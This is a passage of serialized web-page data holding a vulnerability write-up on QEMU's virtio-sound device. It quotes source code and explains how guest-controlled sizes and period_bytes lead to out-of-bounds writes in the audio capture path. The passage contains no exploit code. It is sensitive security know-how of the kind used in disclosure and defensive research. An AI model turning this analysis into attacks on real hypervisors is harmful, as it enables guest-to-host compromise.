",{"type":23,"tag":504,"props":123598,"children":123599},{"style":598},[123600],{"type":28,"value":601},{"type":23,"tag":504,"props":123602,"children":123603},{"style":523},[123604],{"type":28,"value":123605}," data;\n",{"type":23,"tag":504,"props":123607,"children":123608},{"class":506,"line":869},[123609,123614,123618],{"type":23,"tag":504,"props":123610,"children":123611},{"style":523},[123612],{"type":28,"value":123613},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":504,"props":123615,"children":123616},{"style":598},[123617],{"type":28,"value":3552},{"type":23,"tag":504,"props":123619,"children":123620},{"style":523},[123621],{"type":28,"value":123622},"buffer;\n",{"type":23,"tag":504,"props":123624,"children":123625},{"class":506,"line":878},[123626,123630],{"type":23,"tag":504,"props":123627,"children":123628},{"style":511},[123629],{"type":28,"value":15543},{"type":23,"tag":504,"props":123631,"children":123632},{"style":523},[123633],{"type":28,"value":123634}," size, max_size;\n",{"type":23,"tag":504,"props":123636,"children":123637},{"class":506,"line":1221},[123638],{"type":23,"tag":504,"props":123639,"children":123640},{"emptyLinePlaceholder":16},[123641],{"type":28,"value":1038},{"type":23,"tag":504,"props":123643,"children":123644},{"class":506,"line":1276},[123645,123650,123654,123658,123662,123666,123670],{"type":23,"tag":504,"props":123646,"children":123647},{"style":517},[123648],{"type":28,"value":123649},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":504,"props":123651,"children":123652},{"style":523},[123653],{"type":28,"value":526},{"type":23,"tag":504,"props":123655,"children":123656},{"style":598},[123657],{"type":28,"value":2086},{"type":23,"tag":504,"props":123659,"children":123660},{"style":529},[123661],{"type":28,"value":35238},{"type":23,"tag":504,"props":123663,"children":123664},{"style":523},[123665],{"type":28,"value":12738},{"type":23,"tag":504,"props":123667,"children":123668},{"style":529},[123669],{"type":28,"value":122826},{"type":23,"tag":504,"props":123671,"children":123672},{"style":523},[123673],{"type":28,"value":537},{"type":23,"tag":504,"props":123675,"children":123676},{"class":506,"line":1285},[123677,123682,123686,123690,123695,123699,123703,123707,123711,123715],{"type":23,"tag":504,"props":123678,"children":123679},{"style":544},[123680],{"type":28,"value":123681},"        while",{"type":23,"tag":504,"props":123683,"children":123684},{"style":523},[123685],{"type":28,"value":801},{"type":23,"tag":504,"props":123687,"children":123688},{"style":598},[123689],{"type":28,"value":19603},{"type":23,"tag":504,"props":123691,"children":123692},{"style":517},[123693],{"type":28,"value":123694},"QSIMPLEQ_EMPTY",{"type":23,"tag":504,"props":123696,"children":123697},{"style":523},[123698],{"type":28,"value":526},{"type":23,"tag":504,"props":123700,"children":123701},{"style":598},[123702],{"type":28,"value":2086},{"type":23,"tag":504,"props":123704,"children":123705},{"style":529},[123706],{"type":28,"value":35238},{"type":23,"tag":504,"props":123708,"children":123709},{"style":523},[123710],{"type":28,"value":12738},{"type":23,"tag":504,"props":123712,"children":123713},{"style":529},[123714],{"type":28,"value":123079},{"type":23,"tag":504,"props":123716,"children":123717},{"style":523},[123718],{"type":28,"value":34170},{"type":23,"tag":504,"props":123720,"children":123721},{"class":506,"line":1294},[123722,123726,123730,123735,123739,123743,123747,123751,123755],{"type":23,"tag":504,"props":123723,"children":123724},{"style":523},[123725],{"type":28,"value":122915},{"type":23,"tag":504,"props":123727,"children":123728},{"style":598},[123729],{"type":28,"value":601},{"type":23,"tag":504,"props":123731,"children":123732},{"style":517},[123733],{"type":28,"value":123734}," QSIMPLEQ_FIRST",{"type":23,"tag":504,"props":123736,"children":123737},{"style":523},[123738],{"type":28,"value":526},{"type":23,"tag":504,"props":123740,"children":123741},{"style":598},[123742],{"type":28,"value":2086},{"type":23,"tag":504,"props":123744,"children":123745},{"style":529},[123746],{"type":28,"value":35238},{"type":23,"tag":504,"props":123748,"children":123749},{"style":523},[123750],{"type":28,"value":12738},{"type":23,"tag":504,"props":123752,"children":123753},{"style":529},[123754],{"type":28,"value":123079},{"type":23,"tag":504,"props":123756,"children":123757},{"style":523},[123758],{"type":28,"value":630},{"type":23,"tag":504,"props":123760,"children":123761},{"class":506,"line":1302},[123762],{"type":23,"tag":504,"props":123763,"children":123764},{"emptyLinePlaceholder":16},[123765],{"type":28,"value":1038},{"type":23,"tag":504,"props":123767,"children":123768},{"class":506,"line":1311},[123769],{"type":23,"tag":504,"props":123770,"children":123771},{"style":523},[123772],{"type":28,"value":123773},"            [...]\n",{"type":23,"tag":504,"props":123775,"children":123776},{"class":506,"line":1334},[123777],{"type":23,"tag":504,"props":123778,"children":123779},{"emptyLinePlaceholder":16},[123780],{"type":28,"value":1038},{"type":23,"tag":504,"props":123782,"children":123783},{"class":506,"line":1370},[123784,123789,123793,123797,123801],{"type":23,"tag":504,"props":123785,"children":123786},{"style":523},[123787],{"type":28,"value":123788},"            max_size ",{"type":23,"tag":504,"props":123790,"children":123791},{"style":598},[123792],{"type":28,"value":601},{"type":23,"tag":504,"props":123794,"children":123795},{"style":517},[123796],{"type":28,"value":122847},{"type":23,"tag":504,"props":123798,"children":123799},{"style":523},[123800],{"type":28,"value":526},{"type":23,"tag":504,"props":123802,"children":123803},{"style":1106},[123804],{"type":28,"value":123805},"                    // [1]\n",{"type":23,"tag":504,"props":123807,"children":123808},{"class":506,"line":1384},[123809,123814,123818,123822,123826,123830],{"type":23,"tag":504,"props":123810,"children":123811},{"style":529},[123812],{"type":28,"value":123813},"                buffer",{"type":23,"tag":504,"props":123815,"children":123816},{"style":523},[123817],{"type":28,"value":12738},{"type":23,"tag":504,"props":123819,"children":123820},{"style":529},[123821],{"type":28,"value":51042},{"type":23,"tag":504,"props":123823,"children":123824},{"style":523},[123825],{"type":28,"value":12738},{"type":23,"tag":504,"props":123827,"children":123828},{"style":529},[123829],{"type":28,"value":122864},{"type":23,"tag":504,"props":123831,"children":123832},{"style":523},[123833],{"type":28,"value":2484},{"type":23,"tag":504,"props":123835,"children":123836},{"class":506,"line":1392},[123837,123841,123845,123849,123853],{"type":23,"tag":504,"props":123838,"children":123839},{"style":529},[123840],{"type":28,"value":123813},{"type":23,"tag":504,"props":123842,"children":123843},{"style":523},[123844],{"type":28,"value":12738},{"type":23,"tag":504,"props":123846,"children":123847},{"style":529},[123848],{"type":28,"value":51042},{"type":23,"tag":504,"props":123850,"children":123851},{"style":523},[123852],{"type":28,"value":12738},{"type":23,"tag":504,"props":123854,"children":123855},{"style":529},[123856],{"type":28,"value":123857},"in_num\n",{"type":23,"tag":504,"props":123859,"children":123860},{"class":506,"line":1400},[123861],{"type":23,"tag":504,"props":123862,"children":123863},{"style":523},[123864],{"type":28,"value":123865},"            );\n",{"type":23,"tag":504,"props":123867,"children":123868},{"class":506,"line":1422},[123869,123874],{"type":23,"tag":504,"props":123870,"children":123871},{"style":544},[123872],{"type":28,"value":123873},"            for",{"type":23,"tag":504,"props":123875,"children":123876},{"style":523},[123877],{"type":28,"value":122677},{"type":23,"tag":504,"props":123879,"children":123880},{"class":506,"line":1450},[123881,123885,123889,123894,123898,123902,123906,123911],{"type":23,"tag":504,"props":123882,"children":123883},{"style":544},[123884],{"type":28,"value":102271},{"type":23,"tag":504,"props":123886,"children":123887},{"style":523},[123888],{"type":28,"value":801},{"type":23,"tag":504,"props":123890,"children":123891},{"style":529},[123892],{"type":28,"value":123893},"buffer",{"type":23,"tag":504,"props":123895,"children":123896},{"style":523},[123897],{"type":28,"value":12738},{"type":23,"tag":504,"props":123899,"children":123900},{"style":529},[123901],{"type":28,"value":123011},{"type":23,"tag":504,"props":123903,"children":123904},{"style":598},[123905],{"type":28,"value":7285},{"type":23,"tag":504,"props":123907,"children":123908},{"style":523},[123909],{"type":28,"value":123910}," max_size) {",{"type":23,"tag":504,"props":123912,"children":123913},{"style":1106},[123914],{"type":28,"value":123915},"     // [2]\n",{"type":23,"tag":504,"props":123917,"children":123918},{"class":506,"line":1463},[123919,123924],{"type":23,"tag":504,"props":123920,"children":123921},{"style":517},[123922],{"type":28,"value":123923},"                    return_rx_buffer",{"type":23,"tag":504,"props":123925,"children":123926},{"style":523},[123927],{"type":28,"value":123928},"(stream, buffer);\n",{"type":23,"tag":504,"props":123930,"children":123931},{"class":506,"line":1485},[123932,123937],{"type":23,"tag":504,"props":123933,"children":123934},{"style":544},[123935],{"type":28,"value":123936},"                    break",{"type":23,"tag":504,"props":123938,"children":123939},{"style":523},[123940],{"type":28,"value":866},{"type":23,"tag":504,"props":123942,"children":123943},{"class":506,"line":1503},[123944],{"type":23,"tag":504,"props":123945,"children":123946},{"style":523},[123947],{"type":28,"value":1714},{"type":23,"tag":504,"props":123949,"children":123950},{"class":506,"line":1516},[123951,123956,123960,123965,123969,123973,123977,123982,123986,123990],{"type":23,"tag":504,"props":123952,"children":123953},{"style":523},[123954],{"type":28,"value":123955},"                size ",{"type":23,"tag":504,"props":123957,"children":123958},{"style":598},[123959],{"type":28,"value":601},{"type":23,"tag":504,"props":123961,"children":123962},{"style":517},[123963],{"type":28,"value":123964}," AUD_read",{"type":23,"tag":504,"props":123966,"children":123967},{"style":523},[123968],{"type":28,"value":526},{"type":23,"tag":504,"props":123970,"children":123971},{"style":529},[123972],{"type":28,"value":35238},{"type":23,"tag":504,"props":123974,"children":123975},{"style":523},[123976],{"type":28,"value":12738},{"type":23,"tag":504,"props":123978,"children":123979},{"style":529},[123980],{"type":28,"value":123981},"voice",{"type":23,"tag":504,"props":123983,"children":123984},{"style":523},[123985],{"type":28,"value":320},{"type":23,"tag":504,"props":123987,"children":123988},{"style":529},[123989],{"type":28,"value":94249},{"type":23,"tag":504,"props":123991,"children":123992},{"style":523},[123993],{"type":28,"value":2484},{"type":23,"tag":504,"props":123995,"children":123996},{"class":506,"line":1543},[123997,124002,124006,124010,124014,124019,124023,124027],{"type":23,"tag":504,"props":123998,"children":123999},{"style":529},[124000],{"type":28,"value":124001},"                        buffer",{"type":23,"tag":504,"props":124003,"children":124004},{"style":523},[124005],{"type":28,"value":12738},{"type":23,"tag":504,"props":124007,"children":124008},{"style":529},[124009],{"type":28,"value":2679},{"type":23,"tag":504,"props":124011,"children":124012},{"style":598},[124013],{"type":28,"value":7888},{"type":23,"tag":504,"props":124015,"children":124016},{"style":529},[124017],{"type":28,"value":124018}," buffer",{"type":23,"tag":504,"props":124020,"children":124021},{"style":523},[124022],{"type":28,"value":12738},{"type":23,"tag":504,"props":124024,"children":124025},{"style":529},[124026],{"type":28,"value":123011},{"type":23,"tag":504,"props":124028,"children":124029},{"style":523},[124030],{"type":28,"value":2484},{"type":23,"tag":504,"props":124032,"children":124033},{"class":506,"line":1583},[124034,124039,124044,124048,124052,124056,124060,124065,124069],{"type":23,"tag":504,"props":124035,"children":124036},{"style":517},[124037],{"type":28,"value":124038},"                        MIN",{"type":23,"tag":504,"props":124040,"children":124041},{"style":523},[124042],{"type":28,"value":124043},"(available, (",{"type":23,"tag":504,"props":124045,"children":124046},{"style":529},[124047],{"type":28,"value":35238},{"type":23,"tag":504,"props":124049,"children":124050},{"style":523},[124051],{"type":28,"value":12738},{"type":23,"tag":504,"props":124053,"children":124054},{"style":529},[124055],{"type":28,"value":97033},{"type":23,"tag":504,"props":124057,"children":124058},{"style":523},[124059],{"type":28,"value":320},{"type":23,"tag":504,"props":124061,"children":124062},{"style":529},[124063],{"type":28,"value":124064},"period_bytes",{"type":23,"tag":504,"props":124066,"children":124067},{"style":598},[124068],{"type":28,"value":50234},{"type":23,"tag":504,"props":124070,"children":124071},{"style":1106},[124072],{"type":28,"value":124073},"     // [3]\n",{"type":23,"tag":504,"props":124075,"children":124076},{"class":506,"line":1605},[124077,124082,124086,124090],{"type":23,"tag":504,"props":124078,"children":124079},{"style":529},[124080],{"type":28,"value":124081},"                                        buffer",{"type":23,"tag":504,"props":124083,"children":124084},{"style":523},[124085],{"type":28,"value":12738},{"type":23,"tag":504,"props":124087,"children":124088},{"style":529},[124089],{"type":28,"value":123011},{"type":23,"tag":504,"props":124091,"children":124092},{"style":523},[124093],{"type":28,"value":124094},")));\n",{"type":23,"tag":504,"props":124096,"children":124097},{"class":506,"line":1614},[124098,124102,124106,124110],{"type":23,"tag":504,"props":124099,"children":124100},{"style":544},[124101],{"type":28,"value":102271},{"type":23,"tag":504,"props":124103,"children":124104},{"style":523},[124105],{"type":28,"value":801},{"type":23,"tag":504,"props":124107,"children":124108},{"style":598},[124109],{"type":28,"value":19603},{"type":23,"tag":504,"props":124111,"children":124112},{"style":523},[124113],{"type":28,"value":124114},"size) {\n",{"type":23,"tag":504,"props":124116,"children":124117},{"class":506,"line":1627},[124118,124123,124127,124131],{"type":23,"tag":504,"props":124119,"children":124120},{"style":523},[124121],{"type":28,"value":124122},"                    available ",{"type":23,"tag":504,"props":124124,"children":124125},{"style":598},[124126],{"type":28,"value":601},{"type":23,"tag":504,"props":124128,"children":124129},{"style":1440},[124130],{"type":28,"value":2023},{"type":23,"tag":504,"props":124132,"children":124133},{"style":523},[124134],{"type":28,"value":866},{"type":23,"tag":504,"props":124136,"children":124137},{"class":506,"line":1655},[124138,124142],{"type":23,"tag":504,"props":124139,"children":124140},{"style":544},[124141],{"type":28,"value":123936},{"type":23,"tag":504,"props":124143,"children":124144},{"style":523},[124145],{"type":28,"value":866},{"type":23,"tag":504,"props":124147,"children":124148},{"class":506,"line":1668},[124149],{"type":23,"tag":504,"props":124150,"children":124151},{"style":523},[124152],{"type":28,"value":1714},{"type":23,"tag":504,"props":124154,"children":124155},{"class":506,"line":1682},[124156,124160,124164,124168,124172],{"type":23,"tag":504,"props":124157,"children":124158},{"style":529},[124159],{"type":28,"value":123813},{"type":23,"tag":504,"props":124161,"children":124162},{"style":523},[124163],{"type":28,"value":12738},{"type":23,"tag":504,"props":124165,"children":124166},{"style":529},[124167],{"type":28,"value":123011},{"type":23,"tag":504,"props":124169,"children":124170},{"style":598},[124171],{"type":28,"value":14044},{"type":23,"tag":504,"props":124173,"children":124174},{"style":523},[124175],{"type":28,"value":123353},{"type":23,"tag":504,"props":124177,"children":124178},{"class":506,"line":1691},[124179,124184,124188],{"type":23,"tag":504,"props":124180,"children":124181},{"style":523},[124182],{"type":28,"value":124183},"                available ",{"type":23,"tag":504,"props":124185,"children":124186},{"style":598},[124187],{"type":28,"value":102736},{"type":23,"tag":504,"props":124189,"children":124190},{"style":523},[124191],{"type":28,"value":123353},{"type":23,"tag":504,"props":124193,"children":124194},{"class":506,"line":1699},[124195],{"type":23,"tag":504,"props":124196,"children":124197},{"style":523},[124198],{"type":28,"value":124199},"                [...]\n",{"type":23,"tag":504,"props":124201,"children":124202},{"class":506,"line":1708},[124203],{"type":23,"tag":504,"props":124204,"children":124205},{"style":523},[124206],{"type":28,"value":1282},{"type":23,"tag":504,"props":124208,"children":124209},{"class":506,"line":1717},[124210],{"type":23,"tag":504,"props":124211,"children":124212},{"style":523},[124213],{"type":28,"value":1291},{"type":23,"tag":504,"props":124215,"children":124216},{"class":506,"line":1725},[124217],{"type":23,"tag":504,"props":124218,"children":124219},{"style":523},[124220],{"type":28,"value":875},{"type":23,"tag":504,"props":124222,"children":124223},{"class":506,"line":1757},[124224],{"type":23,"tag":504,"props":124225,"children":124226},{"style":523},[124227],{"type":28,"value":884},{"type":23,"tag":24,"props":124229,"children":124230},{},[124231,124232,124237,124238,124244,124246,124252,124254,124259,124260,124265,124267,124272],{"type":28,"value":123133},{"type":23,"tag":56,"props":124233,"children":124235},{"className":124234},[],[124236],{"type":28,"value":123139},{"type":28,"value":576},{"type":23,"tag":56,"props":124239,"children":124241},{"className":124240},[],[124242],{"type":28,"value":124243},"max_size",{"type":28,"value":124245}," is set to ",{"type":23,"tag":56,"props":124247,"children":124249},{"className":124248},[],[124250],{"type":28,"value":124251},"iov_size(in_sg, in_num)",{"type":28,"value":124253},". Both ",{"type":23,"tag":56,"props":124255,"children":124257},{"className":124256},[],[124258],{"type":28,"value":122864},{"type":28,"value":430},{"type":23,"tag":56,"props":124261,"children":124263},{"className":124262},[],[124264],{"type":28,"value":122881},{"type":28,"value":124266}," are the same guest-controlled fields from ",{"type":23,"tag":56,"props":124268,"children":124270},{"className":124269},[],[124271],{"type":28,"value":122516},{"type":28,"value":320},{"type":23,"tag":24,"props":124274,"children":124275},{},[124276,124278,124283,124285,124291,124293,124299,124301,124307],{"type":28,"value":124277},"Later, at ",{"type":23,"tag":56,"props":124279,"children":124281},{"className":124280},[],[124282],{"type":28,"value":123174},{"type":28,"value":124284},", the code checks whether ",{"type":23,"tag":56,"props":124286,"children":124288},{"className":124287},[],[124289],{"type":28,"value":124290},"buffer->size >= max_size",{"type":28,"value":124292},". In the RX path, ",{"type":23,"tag":56,"props":124294,"children":124296},{"className":124295},[],[124297],{"type":28,"value":124298},"buffer->size",{"type":28,"value":124300}," tracks how many bytes have been written into ",{"type":23,"tag":56,"props":124302,"children":124304},{"className":124303},[],[124305],{"type":28,"value":124306},"buffer->data",{"type":28,"value":124308},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":124310,"children":124311},{},[124312,124314,124319,124321,124327,124329,124334,124336,124342],{"type":28,"value":124313},"However, this does not match the allocation logic in ",{"type":23,"tag":56,"props":124315,"children":124317},{"className":124316},[],[124318],{"type":28,"value":122516},{"type":28,"value":124320},", which used: ",{"type":23,"tag":56,"props":124322,"children":124324},{"className":124323},[],[124325],{"type":28,"value":124326},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":124328},". In other words, the allocation subtracts ",{"type":23,"tag":56,"props":124330,"children":124332},{"className":124331},[],[124333],{"type":28,"value":123240},{"type":28,"value":124335},", but the later bound in ",{"type":23,"tag":56,"props":124337,"children":124339},{"className":124338},[],[124340],{"type":28,"value":124341},"virtio_snd_pcm_in_cb",{"type":28,"value":124343}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":124345,"children":124346},{},[124347,124349,124354,124356,124362,124364,124370,124372,124377,124379,124385,124387,124393,124395,124400,124402,124407],{"type":28,"value":124348},"Finally, at ",{"type":23,"tag":56,"props":124350,"children":124352},{"className":124351},[],[124353],{"type":28,"value":123198},{"type":28,"value":124355},", the code calls ",{"type":23,"tag":56,"props":124357,"children":124359},{"className":124358},[],[124360],{"type":28,"value":124361},"AUD_read",{"type":28,"value":124363}," with the following limit:\n",{"type":23,"tag":56,"props":124365,"children":124367},{"className":124366},[],[124368],{"type":28,"value":124369},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":124371},". Notice how this bound does not take ",{"type":23,"tag":56,"props":124373,"children":124375},{"className":124374},[],[124376],{"type":28,"value":124243},{"type":28,"value":124378}," into account at all. That means if ",{"type":23,"tag":56,"props":124380,"children":124382},{"className":124381},[],[124383],{"type":28,"value":124384},"available",{"type":28,"value":124386}," is larger than the allocated buffer, and ",{"type":23,"tag":56,"props":124388,"children":124390},{"className":124389},[],[124391],{"type":28,"value":124392},"stream->params.period_bytes",{"type":28,"value":124394}," is also larger than the allocated buffer, ",{"type":23,"tag":56,"props":124396,"children":124398},{"className":124397},[],[124399],{"type":28,"value":124361},{"type":28,"value":124401}," will write past the end of ",{"type":23,"tag":56,"props":124403,"children":124405},{"className":124404},[],[124406],{"type":28,"value":124306},{"type":28,"value":124408}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":124410,"children":124411},{},[124412,124414,124419,124421,124427],{"type":28,"value":124413},"Looking further at the code, we can see that ",{"type":23,"tag":56,"props":124415,"children":124417},{"className":124416},[],[124418],{"type":28,"value":124392},{"type":28,"value":124420}," is fully guest-controlled by issuing a ",{"type":23,"tag":56,"props":124422,"children":124424},{"className":124423},[],[124425],{"type":28,"value":124426},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":124428}," request:",{"type":23,"tag":494,"props":124430,"children":124432},{"code":124431,"language":2124,"meta":7,"className":15493,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[124433],{"type":23,"tag":56,"props":124434,"children":124435},{"__ignoreMap":7},[124436,124444,124473,124490,124510,124517,124534,124541,124548,124555,124577,124584,124591,124598,124644,124687,124731,124739,124776,124812,124848,124855,124872],{"type":23,"tag":504,"props":124437,"children":124438},{"class":506,"line":507},[124439],{"type":23,"tag":504,"props":124440,"children":124441},{"style":511},[124442],{"type":28,"value":124443},"static\n",{"type":23,"tag":504,"props":124445,"children":124446},{"class":506,"line":540},[124447,124451,124456,124461,124465,124469],{"type":23,"tag":504,"props":124448,"children":124449},{"style":511},[124450],{"type":28,"value":56912},{"type":23,"tag":504,"props":124452,"children":124453},{"style":517},[124454],{"type":28,"value":124455}," virtio_snd_set_pcm_params",{"type":23,"tag":504,"props":124457,"children":124458},{"style":523},[124459],{"type":28,"value":124460},"(VirtIOSound ",{"type":23,"tag":504,"props":124462,"children":124463},{"style":598},[124464],{"type":28,"value":3552},{"type":23,"tag":504,"props":124466,"children":124467},{"style":529},[124468],{"type":28,"value":9633},{"type":23,"tag":504,"props":124470,"children":124471},{"style":523},[124472],{"type":28,"value":2484},{"type":23,"tag":504,"props":124474,"children":124475},{"class":506,"line":555},[124476,124481,124486],{"type":23,"tag":504,"props":124477,"children":124478},{"style":511},[124479],{"type":28,"value":124480},"                                   uint32_t",{"type":23,"tag":504,"props":124482,"children":124483},{"style":529},[124484],{"type":28,"value":124485}," stream_id",{"type":23,"tag":504,"props":124487,"children":124488},{"style":523},[124489],{"type":28,"value":2484},{"type":23,"tag":504,"props":124491,"children":124492},{"class":506,"line":633},[124493,124498,124502,124506],{"type":23,"tag":504,"props":124494,"children":124495},{"style":523},[124496],{"type":28,"value":124497},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":504,"props":124499,"children":124500},{"style":598},[124501],{"type":28,"value":3552},{"type":23,"tag":504,"props":124503,"children":124504},{"style":529},[124505],{"type":28,"value":97033},{"type":23,"tag":504,"props":124507,"children":124508},{"style":523},[124509],{"type":28,"value":1192},{"type":23,"tag":504,"props":124511,"children":124512},{"class":506,"line":687},[124513],{"type":23,"tag":504,"props":124514,"children":124515},{"style":523},[124516],{"type":28,"value":9862},{"type":23,"tag":504,"props":124518,"children":124519},{"class":506,"line":736},[124520,124525,124529],{"type":23,"tag":504,"props":124521,"children":124522},{"style":523},[124523],{"type":28,"value":124524},"    virtio_snd_pcm_set_params ",{"type":23,"tag":504,"props":124526,"children":124527},{"style":598},[124528],{"type":28,"value":3552},{"type":23,"tag":504,"props":124530,"children":124531},{"style":523},[124532],{"type":28,"value":124533},"st_params;\n",{"type":23,"tag":504,"props":124535,"children":124536},{"class":506,"line":785},[124537],{"type":23,"tag":504,"props":124538,"children":124539},{"emptyLinePlaceholder":16},[124540],{"type":28,"value":1038},{"type":23,"tag":504,"props":124542,"children":124543},{"class":506,"line":813},[124544],{"type":23,"tag":504,"props":124545,"children":124546},{"style":523},[124547],{"type":28,"value":103552},{"type":23,"tag":504,"props":124549,"children":124550},{"class":506,"line":851},[124551],{"type":23,"tag":504,"props":124552,"children":124553},{"emptyLinePlaceholder":16},[124554],{"type":28,"value":1038},{"type":23,"tag":504,"props":124556,"children":124557},{"class":506,"line":869},[124558,124563,124567,124572],{"type":23,"tag":504,"props":124559,"children":124560},{"style":523},[124561],{"type":28,"value":124562},"    st_params ",{"type":23,"tag":504,"props":124564,"children":124565},{"style":598},[124566],{"type":28,"value":601},{"type":23,"tag":504,"props":124568,"children":124569},{"style":517},[124570],{"type":28,"value":124571}," virtio_snd_pcm_get_params",{"type":23,"tag":504,"props":124573,"children":124574},{"style":523},[124575],{"type":28,"value":124576},"(s, stream_id);\n",{"type":23,"tag":504,"props":124578,"children":124579},{"class":506,"line":878},[124580],{"type":23,"tag":504,"props":124581,"children":124582},{"emptyLinePlaceholder":16},[124583],{"type":28,"value":1038},{"type":23,"tag":504,"props":124585,"children":124586},{"class":506,"line":1221},[124587],{"type":23,"tag":504,"props":124588,"children":124589},{"style":523},[124590],{"type":28,"value":103552},{"type":23,"tag":504,"props":124592,"children":124593},{"class":506,"line":1276},[124594],{"type":23,"tag":504,"props":124595,"children":124596},{"emptyLinePlaceholder":16},[124597],{"type":28,"value":1038},{"type":23,"tag":504,"props":124599,"children":124600},{"class":506,"line":1285},[124601,124606,124610,124615,124619,124624,124628,124632,124636,124640],{"type":23,"tag":504,"props":124602,"children":124603},{"style":529},[124604],{"type":28,"value":124605},"    st_params",{"type":23,"tag":504,"props":124607,"children":124608},{"style":523},[124609],{"type":28,"value":12738},{"type":23,"tag":504,"props":124611,"children":124612},{"style":529},[124613],{"type":28,"value":124614},"buffer_bytes",{"type":23,"tag":504,"props":124616,"children":124617},{"style":598},[124618],{"type":28,"value":648},{"type":23,"tag":504,"props":124620,"children":124621},{"style":517},[124622],{"type":28,"value":124623}," le32_to_cpu",{"type":23,"tag":504,"props":124625,"children":124626},{"style":523},[124627],{"type":28,"value":526},{"type":23,"tag":504,"props":124629,"children":124630},{"style":529},[124631],{"type":28,"value":97033},{"type":23,"tag":504,"props":124633,"children":124634},{"style":523},[124635],{"type":28,"value":12738},{"type":23,"tag":504,"props":124637,"children":124638},{"style":529},[124639],{"type":28,"value":124614},{"type":23,"tag":504,"props":124641,"children":124642},{"style":523},[124643],{"type":28,"value":630},{"type":23,"tag":504,"props":124645,"children":124646},{"class":506,"line":1294},[124647,124651,124655,124659,124663,124667,124671,124675,124679,124683],{"type":23,"tag":504,"props":124648,"children":124649},{"style":529},[124650],{"type":28,"value":124605},{"type":23,"tag":504,"props":124652,"children":124653},{"style":523},[124654],{"type":28,"value":12738},{"type":23,"tag":504,"props":124656,"children":124657},{"style":529},[124658],{"type":28,"value":124064},{"type":23,"tag":504,"props":124660,"children":124661},{"style":598},[124662],{"type":28,"value":648},{"type":23,"tag":504,"props":124664,"children":124665},{"style":517},[124666],{"type":28,"value":124623},{"type":23,"tag":504,"props":124668,"children":124669},{"style":523},[124670],{"type":28,"value":526},{"type":23,"tag":504,"props":124672,"children":124673},{"style":529},[124674],{"type":28,"value":97033},{"type":23,"tag":504,"props":124676,"children":124677},{"style":523},[124678],{"type":28,"value":12738},{"type":23,"tag":504,"props":124680,"children":124681},{"style":529},[124682],{"type":28,"value":124064},{"type":23,"tag":504,"props":124684,"children":124685},{"style":523},[124686],{"type":28,"value":630},{"type":23,"tag":504,"props":124688,"children":124689},{"class":506,"line":1302},[124690,124694,124698,124703,124707,124711,124715,124719,124723,124727],{"type":23,"tag":504,"props":124691,"children":124692},{"style":529},[124693],{"type":28,"value":124605},{"type":23,"tag":504,"props":124695,"children":124696},{"style":523},[124697],{"type":28,"value":12738},{"type":23,"tag":504,"props":124699,"children":124700},{"style":529},[124701],{"type":28,"value":124702},"features",{"type":23,"tag":504,"props":124704,"children":124705},{"style":598},[124706],{"type":28,"value":648},{"type":23,"tag":504,"props":124708,"children":124709},{"style":517},[124710],{"type":28,"value":124623},{"type":23,"tag":504,"props":124712,"children":124713},{"style":523},[124714],{"type":28,"value":526},{"type":23,"tag":504,"props":124716,"children":124717},{"style":529},[124718],{"type":28,"value":97033},{"type":23,"tag":504,"props":124720,"children":124721},{"style":523},[124722],{"type":28,"value":12738},{"type":23,"tag":504,"props":124724,"children":124725},{"style":529},[124726],{"type":28,"value":124702},{"type":23,"tag":504,"props":124728,"children":124729},{"style":523},[124730],{"type":28,"value":630},{"type":23,"tag":504,"props":124732,"children":124733},{"class":506,"line":1311},[124734],{"type":23,"tag":504,"props":124735,"children":124736},{"style":1106},[124737],{"type":28,"value":124738},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":504,"props":124740,"children":124741},{"class":506,"line":1334},[124742,124746,124750,124755,124759,124764,124768,124772],{"type":23,"tag":504,"props":124743,"children":124744},{"style":529},[124745],{"type":28,"value":124605},{"type":23,"tag":504,"props":124747,"children":124748},{"style":523},[124749],{"type":28,"value":12738},{"type":23,"tag":504,"props":124751,"children":124752},{"style":529},[124753],{"type":28,"value":124754},"channels",{"type":23,"tag":504,"props":124756,"children":124757},{"style":598},[124758],{"type":28,"value":648},{"type":23,"tag":504,"props":124760,"children":124761},{"style":529},[124762],{"type":28,"value":124763}," params",{"type":23,"tag":504,"props":124765,"children":124766},{"style":523},[124767],{"type":28,"value":12738},{"type":23,"tag":504,"props":124769,"children":124770},{"style":529},[124771],{"type":28,"value":124754},{"type":23,"tag":504,"props":124773,"children":124774},{"style":523},[124775],{"type":28,"value":866},{"type":23,"tag":504,"props":124777,"children":124778},{"class":506,"line":1370},[124779,124783,124787,124792,124796,124800,124804,124808],{"type":23,"tag":504,"props":124780,"children":124781},{"style":529},[124782],{"type":28,"value":124605},{"type":23,"tag":504,"props":124784,"children":124785},{"style":523},[124786],{"type":28,"value":12738},{"type":23,"tag":504,"props":124788,"children":124789},{"style":529},[124790],{"type":28,"value":124791},"format",{"type":23,"tag":504,"props":124793,"children":124794},{"style":598},[124795],{"type":28,"value":648},{"type":23,"tag":504,"props":124797,"children":124798},{"style":529},[124799],{"type":28,"value":124763},{"type":23,"tag":504,"props":124801,"children":124802},{"style":523},[124803],{"type":28,"value":12738},{"type":23,"tag":504,"props":124805,"children":124806},{"style":529},[124807],{"type":28,"value":124791},{"type":23,"tag":504,"props":124809,"children":124810},{"style":523},[124811],{"type":28,"value":866},{"